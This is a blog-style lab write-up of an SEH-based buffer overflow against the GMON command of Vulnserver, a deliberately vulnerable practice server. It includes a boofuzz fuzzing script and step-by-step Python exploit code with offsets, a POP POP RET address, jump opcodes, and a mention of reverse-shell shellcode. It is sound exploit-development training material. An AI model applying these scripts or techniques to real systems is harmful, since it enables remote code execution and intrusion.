Vulnserver GMON exploit

SEH based buffer overflow for GMON command in vulnserver.

Sourov Ghosh
5 min readApr 10, 2020

In this post, we will be exploiting the GMON command of Vulnerver using SEH based buffer overflow. If you are not acquainted with SEH based buffer overflows you can refer to the Exploit Research Megaprimer on Security Tube or Corelan’s tutorials on buffer overflows. If you want to read about vanilla buffer overflows you can read my post here. This post is a writeup for vulnserver and not for understanding how SEH is exploited.

We are running the Vulnserver on a Windows 7 x86 VM without any patches. Keep in mind that your exploit may not work if Windows has updated itself. Always turn off automatic updates. We are also using Immunity and mona.py for debugging and boofuzz for fuzzing.

Crashing the program!

For fuzzing the program we will be using the following script template. This script keeps on fuzzing the server as long as it responds with the banner.

from boofuzz import *
import time
def get_banner(target, my_logger, session, *args, **kwargs):
banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
try:
banner = target.recv(10000)
except:
print("Unable to connect. Target is down. Exiting.")
exit(1)
my_logger.log_check('Receiving banner..')
if banner_template in banner:
my_logger.log_pass('banner received')
else:
my_logger.log_fail('No banner received')
print("No banner received, exiting..")
exit(1)
def main():session = Session(
target=Target(
connection=SocketConnection("192.168.0.109", 9999, proto='tcp')
),sleep_time=0.5,
)
# Setup
s_initialize(name="Request")
with s_block("Host-Line"):
s_static("GMON", name='command name')
s_delim(" ", fuzzable=False)
s_string("FUZZ")
s_delim("\r\n")
# Fuzzing
session.connect(s_get("Request"), callback=get_banner)
session.fuzz()
if __name__ == "__main__":
main()

Few seconds after running the program we can see that the application has crashed.

No Banner as program crashed

Boofuzz stores the result of the fuzzing session in an SQLite database. We can see that the payload of 5013 bytes has crashed the program.

Now we try to replicate the crash using our handy script which will slowly develop into the exploit.

import socket
import os
import sys
host = "192.168.0.109"
port = 9999
buffer = 'A'*5013s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()

We attach Immunity Debugger to the vulnserver.exe process and examine the crash. We can see that the SEH Handler is overwritten with 0x41.

Registers are overwritten with 41
SEH Chain corrupted with 41

Now we need to find the exact offset after which the SEH Handler gets overwritten. We use msf-pattern_create to generate a unique string of length 5013 and send it instead of ‘A’s. We get the offset as 3519.

The position of the nSEH record is 4 less than the SEH record so the offset for nSEH is 3515. To verify we send the following payload.

#Original crash payload size = 5013
#SEH Handler Offset = 3519
#nSEH Offset is 3519-4 = 3515
seh = "BBBB"
nseh = "CCCC"
buffer = 3515*"A"
buffer+= nseh
buffer+= seh
buffer+= "D"*(5013-len(buffer))
s.send("GMON /.:/" + buffer)
Successfully placed B and C in SEH and nSEH respectively

Checking for bad characters

We send the usual bad characters test array without 0x00 since it is almost always a bad character. We place the bad characters array inside the ‘A’ buffer area and see if any gets corrupted in memory.

No bad characters detected other than 0x00

POP, POP, RET!

We use mona to find a location in the program which has the POP POP RET sequence using the command !mona seh.

POP POP RET locations

We will be using 0x6250172B address in our exploit. This address will be placed in the SEH variable in our exploit and for nSEH, we will place opcode for a short jump of 6 bytes. Our exploit will be something like:

#Original crash payload size = 5013
#SEH Handler Offset = 3519
#nSEH Offset is 3519-4 = 3515
seh = "\x2B\x17\x50\x62"
nseh = "\xEB\x06\x90\x90"
buffer = ""
buffer+= "A"*3515
buffer+= nseh
buffer+= seh
buffer+= "D"*(5013-len(buffer))
s.send("GMON /.:/" + buffer)

We set a breakpoint on 0x6250172B and proceed step by step. First the POP, POP, RET sequence executes and the control jumps to nSEH.

Breakpoint added on POP POP RET memory location

After that, there is a short jump and we land in our small pool of ‘D’s 😅. There no space to fit a reverse shell shellcode in place of the ‘D’s. But there are lots of ‘A’s so we will be using that space.

Short Jump

Jumping Back

For jumping back we need to know the exact number of bytes we need to jump so that we can reach the beginning of ‘A’s. We can use the Offset tool to get the difference between the ESP and the address of the first ‘A’.

Now that we know the offset (0x565), we need to write some assembly to jump back.

push esp
pop eax
add ax, 0x565
jmp eax

We get the opcodes using msf-nasm_shell and place it the the ‘D’ area of our buffer.

seh = "\x2B\x17\x50\x62"
nseh = "\xEB\x06\x90\x90"
jumpback = "\x54\x58\x66\x05\x65\x05\xff\xe0"
buffer = ""
buffer+= "A"*3515
buffer+= nseh
buffer+= seh
buffer+= jumpback
buffer+= "D"*(5013-len(buffer))

Verify the exploit by setting up a breakpoint and proceeding step by step. After the short jump of 6 bytes, the program jumps back and starts executing the ‘A’s.

EIP is at the memory location where ‘A’s are stored

Finally, we place the shellcode with some nop sled at the beginning of the buffer in place of ‘A’ and execute. We have a shell!

Got reverse shell!

Reference

  1. http://www.securitytube.net/groups?operation=view&groupId=7
  2. https://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/
  3. https://www.fuzzysecurity.com/tutorials/expDev/3.html
  4. https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

--

--